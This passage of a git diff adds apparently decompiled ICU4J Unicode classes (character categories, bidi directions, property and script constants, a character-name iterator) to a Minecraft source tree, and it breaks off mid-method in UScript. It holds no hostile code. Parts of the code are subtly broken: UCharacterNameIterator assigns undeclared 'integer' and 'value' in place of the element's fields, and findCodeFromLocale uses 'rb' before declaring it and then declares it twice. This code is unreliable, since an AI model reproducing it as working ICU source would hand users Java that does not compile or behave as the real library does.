+      char ch = text[(index++)];
+      if (index > limit) {
+        throw new IndexOutOfBoundsException("index ( " + index + ") > limit (" + limit + ")");
+      }
+      
+
+      while ((ch >= 55296) && (ch <= 56319) && (index < limit)) {
+        ch = text[(index++)];
+        if ((ch < 56320) || (ch > 57343)) {
+          codePointOffset--; if (codePointOffset < 0) {
+            return index - 1;
+          }
+        }
+      }
+    }
+    
+
+    return index;
+  }
+  
+  private UCharacter() {}
+}
diff --git a/src/minecraft/com/ibm/icu/lang/UCharacterCategory.java b/src/minecraft/com/ibm/icu/lang/UCharacterCategory.java
new file mode 100644
index 0000000..3cc022c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/lang/UCharacterCategory.java
@@ -0,0 +1,104 @@
+package com.ibm.icu.lang;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UCharacterCategory
+  implements UCharacterEnums.ECharacterCategory
+{
+  public static String toString(int category)
+  {
+    switch (category) {
+    case 1: 
+      return "Letter, Uppercase";
+    case 2: 
+      return "Letter, Lowercase";
+    case 3: 
+      return "Letter, Titlecase";
+    case 4: 
+      return "Letter, Modifier";
+    case 5: 
+      return "Letter, Other";
+    case 6: 
+      return "Mark, Non-Spacing";
+    case 7: 
+      return "Mark, Enclosing";
+    case 8: 
+      return "Mark, Spacing Combining";
+    case 9: 
+      return "Number, Decimal Digit";
+    case 10: 
+      return "Number, Letter";
+    case 11: 
+      return "Number, Other";
+    case 12: 
+      return "Separator, Space";
+    case 13: 
+      return "Separator, Line";
+    case 14: 
+      return "Separator, Paragraph";
+    case 15: 
+      return "Other, Control";
+    case 16: 
+      return "Other, Format";
+    case 17: 
+      return "Other, Private Use";
+    case 18: 
+      return "Other, Surrogate";
+    case 19: 
+      return "Punctuation, Dash";
+    case 20: 
+      return "Punctuation, Open";
+    case 21: 
+      return "Punctuation, Close";
+    case 22: 
+      return "Punctuation, Connector";
+    case 23: 
+      return "Punctuation, Other";
+    case 24: 
+      return "Symbol, Math";
+    case 25: 
+      return "Symbol, Currency";
+    case 26: 
+      return "Symbol, Modifier";
+    case 27: 
+      return "Symbol, Other";
+    case 28: 
+      return "Punctuation, Initial quote";
+    case 29: 
+      return "Punctuation, Final quote";
+    }
+    return "Unassigned";
+  }
+  
+  private UCharacterCategory() {}
+}
diff --git a/src/minecraft/com/ibm/icu/lang/UCharacterDirection.java b/src/minecraft/com/ibm/icu/lang/UCharacterDirection.java
new file mode 100644
index 0000000..af6163b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/lang/UCharacterDirection.java
@@ -0,0 +1,84 @@
+package com.ibm.icu.lang;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UCharacterDirection
+  implements UCharacterEnums.ECharacterDirection
+{
+  private UCharacterDirection() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String toString(int dir)
+  {
+    switch (dir)
+    {
+    case 0: 
+      return "Left-to-Right";
+    case 1: 
+      return "Right-to-Left";
+    case 2: 
+      return "European Number";
+    case 3: 
+      return "European Number Separator";
+    case 4: 
+      return "European Number Terminator";
+    case 5: 
+      return "Arabic Number";
+    case 6: 
+      return "Common Number Separator";
+    case 7: 
+      return "Paragraph Separator";
+    case 8: 
+      return "Segment Separator";
+    case 9: 
+      return "Whitespace";
+    case 10: 
+      return "Other Neutrals";
+    case 11: 
+      return "Left-to-Right Embedding";
+    case 12: 
+      return "Left-to-Right Override";
+    case 13: 
+      return "Right-to-Left Arabic";
+    case 14: 
+      return "Right-to-Left Embedding";
+    case 15: 
+      return "Right-to-Left Override";
+    case 16: 
+      return "Pop Directional Format";
+    case 17: 
+      return "Non-Spacing Mark";
+    case 18: 
+      return "Boundary Neutral";
+    }
+    return "Unassigned";
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/lang/UCharacterEnums.java b/src/minecraft/com/ibm/icu/lang/UCharacterEnums.java
new file mode 100644
index 0000000..5719036
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/lang/UCharacterEnums.java
@@ -0,0 +1,88 @@
+package com.ibm.icu.lang;
+
+public class UCharacterEnums
+{
+  private UCharacterEnums() {}
+  
+  public static abstract interface ECharacterDirection
+  {
+    public static final int LEFT_TO_RIGHT = 0;
+    public static final byte DIRECTIONALITY_LEFT_TO_RIGHT = 0;
+    public static final int RIGHT_TO_LEFT = 1;
+    public static final byte DIRECTIONALITY_RIGHT_TO_LEFT = 1;
+    public static final int EUROPEAN_NUMBER = 2;
+    public static final byte DIRECTIONALITY_EUROPEAN_NUMBER = 2;
+    public static final int EUROPEAN_NUMBER_SEPARATOR = 3;
+    public static final byte DIRECTIONALITY_EUROPEAN_NUMBER_SEPARATOR = 3;
+    public static final int EUROPEAN_NUMBER_TERMINATOR = 4;
+    public static final byte DIRECTIONALITY_EUROPEAN_NUMBER_TERMINATOR = 4;
+    public static final int ARABIC_NUMBER = 5;
+    public static final byte DIRECTIONALITY_ARABIC_NUMBER = 5;
+    public static final int COMMON_NUMBER_SEPARATOR = 6;
+    public static final byte DIRECTIONALITY_COMMON_NUMBER_SEPARATOR = 6;
+    public static final int BLOCK_SEPARATOR = 7;
+    public static final byte DIRECTIONALITY_PARAGRAPH_SEPARATOR = 7;
+    public static final int SEGMENT_SEPARATOR = 8;
+    public static final byte DIRECTIONALITY_SEGMENT_SEPARATOR = 8;
+    public static final int WHITE_SPACE_NEUTRAL = 9;
+    public static final byte DIRECTIONALITY_WHITESPACE = 9;
+    public static final int OTHER_NEUTRAL = 10;
+    public static final byte DIRECTIONALITY_OTHER_NEUTRALS = 10;
+    public static final int LEFT_TO_RIGHT_EMBEDDING = 11;
+    public static final byte DIRECTIONALITY_LEFT_TO_RIGHT_EMBEDDING = 11;
+    public static final int LEFT_TO_RIGHT_OVERRIDE = 12;
+    public static final byte DIRECTIONALITY_LEFT_TO_RIGHT_OVERRIDE = 12;
+    public static final int RIGHT_TO_LEFT_ARABIC = 13;
+    public static final byte DIRECTIONALITY_RIGHT_TO_LEFT_ARABIC = 13;
+    public static final int RIGHT_TO_LEFT_EMBEDDING = 14;
+    public static final byte DIRECTIONALITY_RIGHT_TO_LEFT_EMBEDDING = 14;
+    public static final int RIGHT_TO_LEFT_OVERRIDE = 15;
+    public static final byte DIRECTIONALITY_RIGHT_TO_LEFT_OVERRIDE = 15;
+    public static final int POP_DIRECTIONAL_FORMAT = 16;
+    public static final byte DIRECTIONALITY_POP_DIRECTIONAL_FORMAT = 16;
+    public static final int DIR_NON_SPACING_MARK = 17;
+    public static final byte DIRECTIONALITY_NONSPACING_MARK = 17;
+    public static final int BOUNDARY_NEUTRAL = 18;
+    public static final byte DIRECTIONALITY_BOUNDARY_NEUTRAL = 18;
+    public static final int CHAR_DIRECTION_COUNT = 19;
+    public static final byte DIRECTIONALITY_UNDEFINED = -1;
+  }
+  
+  public static abstract interface ECharacterCategory
+  {
+    public static final byte UNASSIGNED = 0;
+    public static final byte GENERAL_OTHER_TYPES = 0;
+    public static final byte UPPERCASE_LETTER = 1;
+    public static final byte LOWERCASE_LETTER = 2;
+    public static final byte TITLECASE_LETTER = 3;
+    public static final byte MODIFIER_LETTER = 4;
+    public static final byte OTHER_LETTER = 5;
+    public static final byte NON_SPACING_MARK = 6;
+    public static final byte ENCLOSING_MARK = 7;
+    public static final byte COMBINING_SPACING_MARK = 8;
+    public static final byte DECIMAL_DIGIT_NUMBER = 9;
+    public static final byte LETTER_NUMBER = 10;
+    public static final byte OTHER_NUMBER = 11;
+    public static final byte SPACE_SEPARATOR = 12;
+    public static final byte LINE_SEPARATOR = 13;
+    public static final byte PARAGRAPH_SEPARATOR = 14;
+    public static final byte CONTROL = 15;
+    public static final byte FORMAT = 16;
+    public static final byte PRIVATE_USE = 17;
+    public static final byte SURROGATE = 18;
+    public static final byte DASH_PUNCTUATION = 19;
+    public static final byte START_PUNCTUATION = 20;
+    public static final byte END_PUNCTUATION = 21;
+    public static final byte CONNECTOR_PUNCTUATION = 22;
+    public static final byte OTHER_PUNCTUATION = 23;
+    public static final byte MATH_SYMBOL = 24;
+    public static final byte CURRENCY_SYMBOL = 25;
+    public static final byte MODIFIER_SYMBOL = 26;
+    public static final byte OTHER_SYMBOL = 27;
+    public static final byte INITIAL_PUNCTUATION = 28;
+    public static final byte INITIAL_QUOTE_PUNCTUATION = 28;
+    public static final byte FINAL_PUNCTUATION = 29;
+    public static final byte FINAL_QUOTE_PUNCTUATION = 29;
+    public static final byte CHAR_CATEGORY_COUNT = 30;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/lang/UCharacterNameIterator.java b/src/minecraft/com/ibm/icu/lang/UCharacterNameIterator.java
new file mode 100644
index 0000000..84b2f09
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/lang/UCharacterNameIterator.java
@@ -0,0 +1,336 @@
+package com.ibm.icu.lang;
+
+import com.ibm.icu.impl.UCharacterName;
+import com.ibm.icu.util.ValueIterator;
+import com.ibm.icu.util.ValueIterator.Element;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class UCharacterNameIterator
+  implements ValueIterator
+{
+  private UCharacterName m_name_;
+  private int m_choice_;
+  private int m_start_;
+  private int m_limit_;
+  private int m_current_;
+  
+  public boolean next(ValueIterator.Element element)
+  {
+    if (m_current_ >= m_limit_) {
+      return false;
+    }
+    
+    if ((m_choice_ == 0) || (m_choice_ == 2))
+    {
+
+      int length = m_name_.getAlgorithmLength();
+      if (m_algorithmIndex_ < length) {
+        while (m_algorithmIndex_ < length)
+        {
+          if ((m_algorithmIndex_ >= 0) && (m_name_.getAlgorithmEnd(m_algorithmIndex_) >= m_current_)) {
+            break;
+          }
+          m_algorithmIndex_ += 1;
+        }
+        
+
+
+
+
+        if (m_algorithmIndex_ < length)
+        {
+
+
+          int start = m_name_.getAlgorithmStart(m_algorithmIndex_);
+          if (m_current_ < start)
+          {
+
+            int end = start;
+            if (m_limit_ <= start) {
+              end = m_limit_;
+            }
+            if (!iterateGroup(element, end)) {
+              m_current_ += 1;
+              return true;
+            }
+          }
+          
+
+
+
+
+
+          if (m_current_ >= m_limit_)
+          {
+
+            return false;
+          }
+          
+          integer = m_current_;
+          value = m_name_.getAlgorithmName(m_algorithmIndex_, m_current_);
+          
+
+          m_groupIndex_ = -1;
+          m_current_ += 1;
+          return true;
+        }
+      }
+    }
+    
+    if (!iterateGroup(element, m_limit_)) {
+      m_current_ += 1;
+      return true;
+    }
+    if ((m_choice_ == 2) && 
+      (!iterateExtended(element, m_limit_))) {
+      m_current_ += 1;
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+  public void reset()
+  {
+    m_current_ = m_start_;
+    m_groupIndex_ = -1;
+    m_algorithmIndex_ = -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setRange(int start, int limit)
+  {
+    if (start >= limit) {
+      throw new IllegalArgumentException("start or limit has to be valid Unicode codepoints and start < limit");
+    }
+    
+    if (start < 0) {
+      m_start_ = 0;
+    }
+    else {
+      m_start_ = start;
+    }
+    
+    if (limit > 1114112) {
+      m_limit_ = 1114112;
+    }
+    else {
+      m_limit_ = limit;
+    }
+    m_current_ = m_start_;
+  }
+  
+
+
+
+
+
+
+
+
+  protected UCharacterNameIterator(UCharacterName name, int choice)
+  {
+    if (name == null) {
+      throw new IllegalArgumentException("UCharacterName name argument cannot be null. Missing unames.icu?");
+    }
+    m_name_ = name;
+    
+    m_choice_ = choice;
+    m_start_ = 0;
+    m_limit_ = 1114112;
+    m_current_ = m_start_;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int m_groupIndex_ = -1;
+  
+
+
+  private int m_algorithmIndex_ = -1;
+  
+
+
+  private static char[] GROUP_OFFSETS_ = new char[33];
+  
+  private static char[] GROUP_LENGTHS_ = new char[33];
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean iterateSingleGroup(ValueIterator.Element result, int limit)
+  {
+    synchronized (GROUP_OFFSETS_) {
+      synchronized (GROUP_LENGTHS_) {
+        int index = m_name_.getGroupLengths(m_groupIndex_, GROUP_OFFSETS_, GROUP_LENGTHS_);
+        
+        while (m_current_ < limit) {
+          int offset = UCharacterName.getGroupOffset(m_current_);
+          String name = m_name_.getGroupName(index + GROUP_OFFSETS_[offset], GROUP_LENGTHS_[offset], m_choice_);
+          
+
+          if (((name == null) || (name.length() == 0)) && (m_choice_ == 2))
+          {
+            name = m_name_.getExtendedName(m_current_);
+          }
+          if ((name != null) && (name.length() > 0)) {
+            integer = m_current_;
+            value = name;
+            return false;
+          }
+          m_current_ += 1;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private boolean iterateGroup(ValueIterator.Element result, int limit)
+  {
+    if (m_groupIndex_ < 0) {
+      m_groupIndex_ = m_name_.getGroup(m_current_);
+    }
+    
+
+    while ((m_groupIndex_ < m_name_.m_groupcount_) && (m_current_ < limit))
+    {
+      int startMSB = UCharacterName.getCodepointMSB(m_current_);
+      int gMSB = m_name_.getGroupMSB(m_groupIndex_);
+      if (startMSB == gMSB) {
+        if (startMSB == UCharacterName.getCodepointMSB(limit - 1))
+        {
+
+          return iterateSingleGroup(result, limit);
+        }
+        
+
+        if (!iterateSingleGroup(result, UCharacterName.getGroupLimit(gMSB)))
+        {
+          return false;
+        }
+        m_groupIndex_ += 1;
+      }
+      else if (startMSB > gMSB)
+      {
+
+        m_groupIndex_ += 1;
+      }
+      else {
+        int gMIN = UCharacterName.getGroupMin(gMSB);
+        if (gMIN > limit) {
+          gMIN = limit;
+        }
+        if ((m_choice_ == 2) && 
+          (!iterateExtended(result, gMIN))) {
+          return false;
+        }
+        
+        m_current_ = gMIN;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private boolean iterateExtended(ValueIterator.Element result, int limit)
+  {
+    while (m_current_ < limit) {
+      String name = m_name_.getExtendedOr10Name(m_current_);
+      if ((name != null) && (name.length() > 0)) {
+        integer = m_current_;
+        value = name;
+        return false;
+      }
+      m_current_ += 1;
+    }
+    return true;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/lang/UProperty.java b/src/minecraft/com/ibm/icu/lang/UProperty.java
new file mode 100644
index 0000000..6f59cb8
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/lang/UProperty.java
@@ -0,0 +1,128 @@
+package com.ibm.icu.lang;
+
+public abstract interface UProperty
+{
+  /**
+   * @deprecated
+   */
+  public static final int UNDEFINED = -1;
+  public static final int ALPHABETIC = 0;
+  public static final int BINARY_START = 0;
+  public static final int ASCII_HEX_DIGIT = 1;
+  public static final int BIDI_CONTROL = 2;
+  public static final int BIDI_MIRRORED = 3;
+  public static final int DASH = 4;
+  public static final int DEFAULT_IGNORABLE_CODE_POINT = 5;
+  public static final int DEPRECATED = 6;
+  public static final int DIACRITIC = 7;
+  public static final int EXTENDER = 8;
+  public static final int FULL_COMPOSITION_EXCLUSION = 9;
+  public static final int GRAPHEME_BASE = 10;
+  public static final int GRAPHEME_EXTEND = 11;
+  public static final int GRAPHEME_LINK = 12;
+  public static final int HEX_DIGIT = 13;
+  public static final int HYPHEN = 14;
+  public static final int ID_CONTINUE = 15;
+  public static final int ID_START = 16;
+  public static final int IDEOGRAPHIC = 17;
+  public static final int IDS_BINARY_OPERATOR = 18;
+  public static final int IDS_TRINARY_OPERATOR = 19;
+  public static final int JOIN_CONTROL = 20;
+  public static final int LOGICAL_ORDER_EXCEPTION = 21;
+  public static final int LOWERCASE = 22;
+  public static final int MATH = 23;
+  public static final int NONCHARACTER_CODE_POINT = 24;
+  public static final int QUOTATION_MARK = 25;
+  public static final int RADICAL = 26;
+  public static final int SOFT_DOTTED = 27;
+  public static final int TERMINAL_PUNCTUATION = 28;
+  public static final int UNIFIED_IDEOGRAPH = 29;
+  public static final int UPPERCASE = 30;
+  public static final int WHITE_SPACE = 31;
+  public static final int XID_CONTINUE = 32;
+  public static final int XID_START = 33;
+  public static final int CASE_SENSITIVE = 34;
+  public static final int S_TERM = 35;
+  public static final int VARIATION_SELECTOR = 36;
+  public static final int NFD_INERT = 37;
+  public static final int NFKD_INERT = 38;
+  public static final int NFC_INERT = 39;
+  public static final int NFKC_INERT = 40;
+  public static final int SEGMENT_STARTER = 41;
+  public static final int PATTERN_SYNTAX = 42;
+  public static final int PATTERN_WHITE_SPACE = 43;
+  public static final int POSIX_ALNUM = 44;
+  public static final int POSIX_BLANK = 45;
+  public static final int POSIX_GRAPH = 46;
+  public static final int POSIX_PRINT = 47;
+  public static final int POSIX_XDIGIT = 48;
+  public static final int CASED = 49;
+  public static final int CASE_IGNORABLE = 50;
+  public static final int CHANGES_WHEN_LOWERCASED = 51;
+  public static final int CHANGES_WHEN_UPPERCASED = 52;
+  public static final int CHANGES_WHEN_TITLECASED = 53;
+  public static final int CHANGES_WHEN_CASEFOLDED = 54;
+  public static final int CHANGES_WHEN_CASEMAPPED = 55;
+  public static final int CHANGES_WHEN_NFKC_CASEFOLDED = 56;
+  public static final int BINARY_LIMIT = 57;
+  public static final int BIDI_CLASS = 4096;
+  public static final int INT_START = 4096;
+  public static final int BLOCK = 4097;
+  public static final int CANONICAL_COMBINING_CLASS = 4098;
+  public static final int DECOMPOSITION_TYPE = 4099;
+  public static final int EAST_ASIAN_WIDTH = 4100;
+  public static final int GENERAL_CATEGORY = 4101;
+  public static final int JOINING_GROUP = 4102;
+  public static final int JOINING_TYPE = 4103;
+  public static final int LINE_BREAK = 4104;
+  public static final int NUMERIC_TYPE = 4105;
+  public static final int SCRIPT = 4106;
+  public static final int HANGUL_SYLLABLE_TYPE = 4107;
+  public static final int NFD_QUICK_CHECK = 4108;
+  public static final int NFKD_QUICK_CHECK = 4109;
+  public static final int NFC_QUICK_CHECK = 4110;
+  public static final int NFKC_QUICK_CHECK = 4111;
+  public static final int LEAD_CANONICAL_COMBINING_CLASS = 4112;
+  public static final int TRAIL_CANONICAL_COMBINING_CLASS = 4113;
+  public static final int GRAPHEME_CLUSTER_BREAK = 4114;
+  public static final int SENTENCE_BREAK = 4115;
+  public static final int WORD_BREAK = 4116;
+  public static final int INT_LIMIT = 4117;
+  public static final int GENERAL_CATEGORY_MASK = 8192;
+  public static final int MASK_START = 8192;
+  public static final int MASK_LIMIT = 8193;
+  public static final int NUMERIC_VALUE = 12288;
+  public static final int DOUBLE_START = 12288;
+  public static final int DOUBLE_LIMIT = 12289;
+  public static final int AGE = 16384;
+  public static final int STRING_START = 16384;
+  public static final int BIDI_MIRRORING_GLYPH = 16385;
+  public static final int CASE_FOLDING = 16386;
+  /**
+   * @deprecated
+   */
+  public static final int ISO_COMMENT = 16387;
+  public static final int LOWERCASE_MAPPING = 16388;
+  public static final int NAME = 16389;
+  public static final int SIMPLE_CASE_FOLDING = 16390;
+  public static final int SIMPLE_LOWERCASE_MAPPING = 16391;
+  public static final int SIMPLE_TITLECASE_MAPPING = 16392;
+  public static final int SIMPLE_UPPERCASE_MAPPING = 16393;
+  public static final int TITLECASE_MAPPING = 16394;
+  /**
+   * @deprecated
+   */
+  public static final int UNICODE_1_NAME = 16395;
+  public static final int UPPERCASE_MAPPING = 16396;
+  public static final int STRING_LIMIT = 16397;
+  public static final int SCRIPT_EXTENSIONS = 28672;
+  public static final int OTHER_PROPERTY_START = 28672;
+  public static final int OTHER_PROPERTY_LIMIT = 28673;
+  
+  public static abstract interface NameChoice
+  {
+    public static final int SHORT = 0;
+    public static final int LONG = 1;
+    public static final int COUNT = 2;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/lang/UScript.java b/src/minecraft/com/ibm/icu/lang/UScript.java
new file mode 100644
index 0000000..ae7a352
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/lang/UScript.java
@@ -0,0 +1,1460 @@
+package com.ibm.icu.lang;
+
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.UCharacterProperty;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import java.util.BitSet;
+import java.util.Locale;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UScript
+{
+  public static final int INVALID_CODE = -1;
+  public static final int COMMON = 0;
+  public static final int INHERITED = 1;
+  public static final int ARABIC = 2;
+  public static final int ARMENIAN = 3;
+  public static final int BENGALI = 4;
+  public static final int BOPOMOFO = 5;
+  public static final int CHEROKEE = 6;
+  public static final int COPTIC = 7;
+  public static final int CYRILLIC = 8;
+  public static final int DESERET = 9;
+  public static final int DEVANAGARI = 10;
+  public static final int ETHIOPIC = 11;
+  public static final int GEORGIAN = 12;
+  public static final int GOTHIC = 13;
+  public static final int GREEK = 14;
+  public static final int GUJARATI = 15;
+  public static final int GURMUKHI = 16;
+  public static final int HAN = 17;
+  public static final int HANGUL = 18;
+  public static final int HEBREW = 19;
+  public static final int HIRAGANA = 20;
+  public static final int KANNADA = 21;
+  public static final int KATAKANA = 22;
+  public static final int KHMER = 23;
+  public static final int LAO = 24;
+  public static final int LATIN = 25;
+  public static final int MALAYALAM = 26;
+  public static final int MONGOLIAN = 27;
+  public static final int MYANMAR = 28;
+  public static final int OGHAM = 29;
+  public static final int OLD_ITALIC = 30;
+  public static final int ORIYA = 31;
+  public static final int RUNIC = 32;
+  public static final int SINHALA = 33;
+  public static final int SYRIAC = 34;
+  public static final int TAMIL = 35;
+  public static final int TELUGU = 36;
+  public static final int THAANA = 37;
+  public static final int THAI = 38;
+  public static final int TIBETAN = 39;
+  public static final int CANADIAN_ABORIGINAL = 40;
+  public static final int UCAS = 40;
+  public static final int YI = 41;
+  public static final int TAGALOG = 42;
+  public static final int HANUNOO = 43;
+  public static final int BUHID = 44;
+  public static final int TAGBANWA = 45;
+  public static final int BRAILLE = 46;
+  public static final int CYPRIOT = 47;
+  public static final int LIMBU = 48;
+  public static final int LINEAR_B = 49;
+  public static final int OSMANYA = 50;
+  public static final int SHAVIAN = 51;
+  public static final int TAI_LE = 52;
+  public static final int UGARITIC = 53;
+  public static final int KATAKANA_OR_HIRAGANA = 54;
+  public static final int BUGINESE = 55;
+  public static final int GLAGOLITIC = 56;
+  public static final int KHAROSHTHI = 57;
+  public static final int SYLOTI_NAGRI = 58;
+  public static final int NEW_TAI_LUE = 59;
+  public static final int TIFINAGH = 60;
+  public static final int OLD_PERSIAN = 61;
+  public static final int BALINESE = 62;
+  public static final int BATAK = 63;
+  public static final int BLISSYMBOLS = 64;
+  public static final int BRAHMI = 65;
+  public static final int CHAM = 66;
+  public static final int CIRTH = 67;
+  public static final int OLD_CHURCH_SLAVONIC_CYRILLIC = 68;
+  public static final int DEMOTIC_EGYPTIAN = 69;
+  public static final int HIERATIC_EGYPTIAN = 70;
+  public static final int EGYPTIAN_HIEROGLYPHS = 71;
+  public static final int KHUTSURI = 72;
+  public static final int SIMPLIFIED_HAN = 73;
+  public static final int TRADITIONAL_HAN = 74;
+  public static final int PAHAWH_HMONG = 75;
+  public static final int OLD_HUNGARIAN = 76;
+  public static final int HARAPPAN_INDUS = 77;
+  public static final int JAVANESE = 78;
+  public static final int KAYAH_LI = 79;
+  public static final int LATIN_FRAKTUR = 80;
+  public static final int LATIN_GAELIC = 81;
+  public static final int LEPCHA = 82;
+  public static final int LINEAR_A = 83;
+  public static final int MANDAIC = 84;
+  public static final int MANDAEAN = 84;
+  public static final int MAYAN_HIEROGLYPHS = 85;
+  public static final int MEROITIC_HIEROGLYPHS = 86;
+  public static final int MEROITIC = 86;
+  public static final int NKO = 87;
+  public static final int ORKHON = 88;
+  public static final int OLD_PERMIC = 89;
+  public static final int PHAGS_PA = 90;
+  public static final int PHOENICIAN = 91;
+  public static final int PHONETIC_POLLARD = 92;
+  public static final int RONGORONGO = 93;
+  public static final int SARATI = 94;
+  public static final int ESTRANGELO_SYRIAC = 95;
+  public static final int WESTERN_SYRIAC = 96;
+  public static final int EASTERN_SYRIAC = 97;
+  public static final int TENGWAR = 98;
+  public static final int VAI = 99;
+  public static final int VISIBLE_SPEECH = 100;
+  public static final int CUNEIFORM = 101;
+  public static final int UNWRITTEN_LANGUAGES = 102;
+  public static final int UNKNOWN = 103;
+  public static final int CARIAN = 104;
+  public static final int JAPANESE = 105;
+  public static final int LANNA = 106;
+  public static final int LYCIAN = 107;
+  public static final int LYDIAN = 108;
+  public static final int OL_CHIKI = 109;
+  public static final int REJANG = 110;
+  public static final int SAURASHTRA = 111;
+  public static final int SIGN_WRITING = 112;
+  public static final int SUNDANESE = 113;
+  public static final int MOON = 114;
+  public static final int MEITEI_MAYEK = 115;
+  public static final int IMPERIAL_ARAMAIC = 116;
+  public static final int AVESTAN = 117;
+  public static final int CHAKMA = 118;
+  public static final int KOREAN = 119;
+  public static final int KAITHI = 120;
+  public static final int MANICHAEAN = 121;
+  public static final int INSCRIPTIONAL_PAHLAVI = 122;
+  public static final int PSALTER_PAHLAVI = 123;
+  public static final int BOOK_PAHLAVI = 124;
+  public static final int INSCRIPTIONAL_PARTHIAN = 125;
+  public static final int SAMARITAN = 126;
+  public static final int TAI_VIET = 127;
+  public static final int MATHEMATICAL_NOTATION = 128;
+  public static final int SYMBOLS = 129;
+  public static final int BAMUM = 130;
+  public static final int LISU = 131;
+  public static final int NAKHI_GEBA = 132;
+  public static final int OLD_SOUTH_ARABIAN = 133;
+  public static final int BASSA_VAH = 134;
+  public static final int DUPLOYAN_SHORTAND = 135;
+  public static final int ELBASAN = 136;
+  public static final int GRANTHA = 137;
+  public static final int KPELLE = 138;
+  public static final int LOMA = 139;
+  public static final int MENDE = 140;
+  public static final int MEROITIC_CURSIVE = 141;
+  public static final int OLD_NORTH_ARABIAN = 142;
+  public static final int NABATAEAN = 143;
+  public static final int PALMYRENE = 144;
+  public static final int SINDHI = 145;
+  public static final int WARANG_CITI = 146;
+  public static final int AFAKA = 147;
+  public static final int JURCHEN = 148;
+  public static final int MRO = 149;
+  public static final int NUSHU = 150;
+  public static final int SHARADA = 151;
+  public static final int SORA_SOMPENG = 152;
+  public static final int TAKRI = 153;
+  public static final int TANGUT = 154;
+  public static final int WOLEAI = 155;
+  public static final int ANATOLIAN_HIEROGLYPHS = 156;
+  public static final int KHOJKI = 157;
+  public static final int TIRHUTA = 158;
+  public static final int CODE_LIMIT = 159;
+  private static final String kLocaleScript = "LocaleScript";
+  
+  private static int[] findCodeFromLocale(ULocale locale)
+  {
+    try
+    {
+      rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", locale);
+
+
+    }
+    catch (MissingResourceException e)
+    {
+
+      return null;
+    }
+    
+
+    ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", locale);
+    
+
+
+
+
+
